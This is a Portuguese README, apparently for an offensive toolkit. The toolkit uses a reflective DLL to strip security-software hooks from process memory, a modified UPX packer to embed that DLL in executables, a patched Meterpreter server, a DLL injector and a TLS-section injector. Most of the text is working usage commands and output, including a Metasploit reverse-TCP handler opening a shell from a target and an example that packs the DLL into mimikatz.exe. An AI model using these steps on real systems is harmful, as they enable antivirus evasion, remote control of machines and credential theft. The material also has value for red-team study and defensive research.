
DLL reflexiva que escaneia a memória do processo e remove os hooks de bibliotecas carregadas para evadir softwares de segurança, com integração de UPX, injetor TLS e Meterpreter.
DLLRefresher.exe é um harness de teste autônomo para escanear o espaço de memória do processo e remover os hooks das bibliotecas atualmente carregadas.
Os binários UPX empacotados foram modificados para suportar um parâmetro adicional (-X <path/to/target.dll>) a ser embutido no binário empacotado. O binário final empacotado com UPX desempacotará o executável alvo em memória e chamará a DLL embutida antes de saltar para o ponto de entrada original do executável.
O código-fonte modificado do UPX pode ser encontrado em https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
Uso:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Exemplo:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
O metsrv.dll (e os plugins associados na pasta meterpreter) é um servidor meterpreter modificado que removerá os hooks das bibliotecas atualmente carregadas antes de executar a inicialização do meterpreter.
Uso:
Copie todas as DLLs da pasta meterpreter para metasploit-framework/data/meterpreter/ e obtenha a execução do meterpreter no alvo normalmente.
Exemplo:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe é um utilitário auxiliar para injetar uma determinada DLL em qualquer processo.
Uso:
Inject.exe <pid> <filename>
Exemplo:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
A DLL pode ser injetada através de uma sessão meterpreter usando o módulo post/windows/manage/reflective_dll_inject.
Uso:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Exemplo:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py é uma versão modificada do script de Borja Merino para suportar injeção de DLL reflexiva. Ele pegará uma DLL reflexiva e a injetará na seção TLS de um executável de 32 bits (64 bits não é suportado).
Uso:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Exemplo:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t